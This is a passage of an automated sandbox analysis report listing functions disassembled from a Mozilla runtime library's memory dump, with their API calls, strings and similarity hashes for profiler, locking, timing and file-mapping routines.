Instruction ID: 639b73fb6d15c4cecf14a39cd17647f5fbb2c4bf2c00ef0a79d5f9fde74b1554
Opcode Fuzzy Hash: a30e05defca81efb8dcb0ac9138c3de3d6e713680e6f8b18ca4eebab8b195f03
Instruction Fuzzy Hash: DF51CB71A09705AFD711CF24C844B5EBBF8BF99B14F11892DF9A8A7640D770E908CB92

Function 6C9BDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BDE73
GetCurrentThreadId.KERNEL32 ref: 6C9BDF7D
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BDF8A
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BDFC9
GetCurrentThreadId.KERNEL32 ref: 6C9BDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C984A68), ref: 6C9BDE7B

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C984A68), ref: 6C9BDEB8
free.MOZGLUE(00000000,?,6C984A68), ref: 6C9BDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9BDF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C9BE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C9BDE83
<none>, xrefs: 6C9BDFD7

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: a6e39af53975b67886db0941d7c1f6bc14b3cdc0e5e8b680d40c045bacd3f343
Instruction ID: 288eb01b49bd1dc6348e04fd34de4710144c1f1488f7e284e01b2d24665e8d81
Opcode Fuzzy Hash: a6e39af53975b67886db0941d7c1f6bc14b3cdc0e5e8b680d40c045bacd3f343
Instruction Fuzzy Hash: CC411836709610ABDB109F64E8087AF77B5EF9630CF240015E929A7F45CB31D816CBE6

Function 6C9CD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9CD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9CD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9CD52A
GetCurrentThreadId.KERNEL32 ref: 6C9CD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9CD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9CD55F
free.MOZGLUE(00000000), ref: 6C9CD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9CD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9CD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9CD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9CD652
GetCurrentThreadId.KERNEL32 ref: 6C9CD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9CD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9CD6A2

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 8b0f776c510ab473107d1d224b08e380ca3bf064564383a71e8ff50e319bcbdb
Instruction ID: 15df753bf4b5e13bfc45be3fe75121d9206fb4e160f7a1b8ecf763cce6951d52
Opcode Fuzzy Hash: 8b0f776c510ab473107d1d224b08e380ca3bf064564383a71e8ff50e319bcbdb
Instruction Fuzzy Hash: 10516C75608705DFC704DF24C884A9ABBF4FF99358F108A2EE95A87710DB30E945CB92

Function 6C995670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9956D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9956E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9956F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C995744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9957BC
GetTickCount64.KERNEL32 ref: 6C9958CB
EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C9958F3
__aulldiv.LIBCMT ref: 6C995945
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C9959B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9FF638,?,?,?,?), ref: 6C9959E9

Strings

MOZ_APP_RESTART, xrefs: 6C9956CC

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: e0285526ab418c046848e8aff291229402bebbaba353cb3cef2e9c79ccda9cd0
Instruction ID: bfccd57741c674d1a9820502c44aeb277b44ed518dac81abfb9bb24ffbf45043
Opcode Fuzzy Hash: e0285526ab418c046848e8aff291229402bebbaba353cb3cef2e9c79ccda9cd0
Instruction Fuzzy Hash: F4C16931A0D3449BD705CF28C44066EBBF1BF9A719F198B1DE8D497660DB30E885CB82

Function 6C9BEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BEC8C

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BECA1
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C9BECC5
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9BED19
CloseHandle.KERNEL32(?), ref: 6C9BED28
free.MOZGLUE(00000000), ref: 6C9BED2F
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C9BEC94

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 5be266676410c047d6f2a4d467c426aaee385cbaacef322e6ad2a9a3b5cbfe76
Instruction ID: bf18b83e0351286a066d03d3fee3f7aa773753c0bcdd9411166a575d4253e6a7
Opcode Fuzzy Hash: 5be266676410c047d6f2a4d467c426aaee385cbaacef322e6ad2a9a3b5cbfe76
Instruction Fuzzy Hash: 4821E275604108BFDB009F64E808AAB77BDEF9626CF204211FD28A7B41DB75D806CBE1

Function 6C9B8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C97EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C9BB392,?,?,00000001), ref: 6C9B91F4

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

Strings

marker-table, xrefs: 6C9B906C
timeline-overview, xrefs: 6C9B907A
stack-chart, xrefs: 6C9B90B2
marker-chart, xrefs: 6C9B905E
timeline-ipc, xrefs: 6C9B9096
timeline-memory, xrefs: 6C9B9088
timeline-fileio, xrefs: 6C9B90A4
name, xrefs: 6C9B8F16
data, xrefs: 6C9B90E8

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 4f3a0075dc56efc9496f1eaa368c385d75cfa698a1e607dbcf355c5d1e0835f2
Instruction ID: d07f1af7211ace006784d6322e5fd7ad088a18ddb25ce4ac62b509361e8e1b40
Opcode Fuzzy Hash: 4f3a0075dc56efc9496f1eaa368c385d75cfa698a1e607dbcf355c5d1e0835f2
Instruction Fuzzy Hash: 00B1B0B1A11209ABDB04CF95C8917EFBBB5BFA9308F204419D515ABF80D732D945CBE1

Function 6C99C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C99C5A3
WideCharToMultiByte.KERNEL32 ref: 6C99C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C99C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C99CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C99CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99CAA5

Strings

(null), xrefs: 6C99C596
0, xrefs: 6C99D30A

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: bd45b0adc70b195266f78bcbbeb2fa50f06cae3a74b1f2fadd22a2fbe7f3658e
Instruction ID: ce79902dcd08eeebdff8a0c081829bbe74865f6d149f6c73045151f146b60cc6
Opcode Fuzzy Hash: bd45b0adc70b195266f78bcbbeb2fa50f06cae3a74b1f2fadd22a2fbe7f3658e
Instruction Fuzzy Hash: 16A1BD316083429FDB10DF28C98475ABBF5BF89748F18892DE89AD7741D731E805CB92

Function 6C99C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C99C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C99C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C99C891

Strings

INF, xrefs: 6C99C794
NAN, xrefs: 6C99C7AD
nan, xrefs: 6C99C7A8
inf, xrefs: 6C99C78F

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: d37d239148fdb72103fb336aea55ab7f74b82884a15ac1353a3a90cf9ba1bcf9
Instruction ID: b7b36841eb68f256b0e320b4ded30663e17349498632cbbb870aa12d55509799
Opcode Fuzzy Hash: d37d239148fdb72103fb336aea55ab7f74b82884a15ac1353a3a90cf9ba1bcf9
Instruction Fuzzy Hash: C85193715087408BDB10EF2DC98129AFBF4BF9A348F048A2DE9D5A7650E771D985CB43

Function 6C974480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C9B4843,?), ref: 6C9745F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C9B4843,?), ref: 6C97468A
free.MOZGLUE(?,?,?,?,?,?,6C9B4843,?), ref: 6C9746C9
free.MOZGLUE(?), ref: 6C9746EF
free.MOZGLUE(?), ref: 6C974712
free.MOZGLUE(?), ref: 6C974735
free.MOZGLUE(?), ref: 6C974758
free.MOZGLUE(?), ref: 6C97477B
free.MOZGLUE(?), ref: 6C97479E

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: df1d2f2c8ae3d45dc5eb9f97046375d61196fd916f7771b93eef5f226f88f2e2
Instruction ID: 8963a2ede5fd12478b1281ee225daac2195c97f262d13469df93e9388a5103ef
Opcode Fuzzy Hash: df1d2f2c8ae3d45dc5eb9f97046375d61196fd916f7771b93eef5f226f88f2e2
Instruction Fuzzy Hash: E0B10371A021158FDB28CF7CD8A07AD77A6AF46328F180669E416DFB87D735D8408FA1

Function 6C9DAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9DAC52
CreateFileMappingW.KERNEL32 ref: 6C9DAC7D
GetSystemInfo.KERNEL32 ref: 6C9DAC98
MapViewOfFile.KERNEL32 ref: 6C9DACB0
GetSystemInfo.KERNEL32 ref: 6C9DACCD
MapViewOfFile.KERNEL32 ref: 6C9DAD05
UnmapViewOfFile.KERNEL32 ref: 6C9DAD1C
CloseHandle.KERNEL32 ref: 6C9DAD28
UnmapViewOfFile.KERNEL32 ref: 6C9DAD37
CloseHandle.KERNEL32 ref: 6C9DAD43
CloseHandle.KERNEL32 ref: 6C9DAD67

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 0ffd047bf3584394b4e44680fd09b67e629e9a863ce3015c6f9a13d844ef8b40
Instruction ID: fb4ed90b6ca2e632dd4134d865e26d44d91ccabd0c20d6683f32847b16d450df
Opcode Fuzzy Hash: 0ffd047bf3584394b4e44680fd09b67e629e9a863ce3015c6f9a13d844ef8b40
Instruction Fuzzy Hash: 82314FB1A087448FDB00AF78D64826EBBF0BF85305F11892DE99597211EB709458CB82

Function 6C989620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C989675
__Init_thread_footer.LIBCMT ref: 6C989697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C989707
__Init_thread_footer.LIBCMT ref: 6C98971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C989773

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9897B7
FreeLibrary.KERNEL32 ref: 6C9897D0
FreeLibrary.KERNEL32 ref: 6C9897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C989824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C989670
NtMapViewOfSection, xrefs: 6C989701
ntdll.dll, xrefs: 6C9896E3
MapViewOfFileNuma2, xrefs: 6C9897B1

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 96d87eb11a6f001f46cda3ec6d8ed0605132da056211a94b1c5f3e931dd227ed
Instruction ID: c9fb4f15c3dc4f8e94065b56702d2199e4c4627b5f4b7a336bb6b255414e211d
Opcode Fuzzy Hash: 96d87eb11a6f001f46cda3ec6d8ed0605132da056211a94b1c5f3e931dd227ed
Instruction Fuzzy Hash: DB41B1B57052059FDF00CFA5E884A9AB7F8FB89B28F214529ED2587B40D730E805CFA1

Function 6C971E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C971EC1
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C971EE1
EnterCriticalSection.KERNEL32(6C9FE744), ref: 6C971F38
LeaveCriticalSection.KERNEL32(6C9FE744), ref: 6C971F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C971F83
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C971FC0
EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C971FE2
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C971FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C972019

Strings

MOZ_CRASH(), xrefs: 6C972000

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: dc7622825ff1854334787d2ba2d82e18c06d758dd1b1608394958223dd5eb14c
Instruction ID: 141eabfb7fe344622fe45b8da5bab2ea1033b58cebbb991117eb59d492db5afd
Opcode Fuzzy Hash: dc7622825ff1854334787d2ba2d82e18c06d758dd1b1608394958223dd5eb14c
Instruction Fuzzy Hash: 3C410471B0A3098BDF109FB9D898B6E3AB5EF5A708F240025E92897740DB71D8058BE1

Function 6C9C0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9C0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9C0041
GetCurrentThreadId.KERNEL32 ref: 6C9C0075
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9C0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9C0090
free.MOZGLUE(?), ref: 6C9C0104
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9C011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9C005B

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: c05799e95f0125609e04e64070d4ea446d64c2bd543e744e63a1993a1b0d3234
Instruction ID: 1934e5d61fb6b77aaaac81ca9fdd7a3343067d46098ee09f9c0c2fb22da92aa4
Opcode Fuzzy Hash: c05799e95f0125609e04e64070d4ea446d64c2bd543e744e63a1993a1b0d3234
Instruction Fuzzy Hash: 3A41AEB5604244EFCB10CF64D844A9BBBF1FF69318F50451EE9AA93B40D731E915CBA2

Function 6C987E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C987EA7
malloc.MOZGLUE(00000001), ref: 6C987EB3

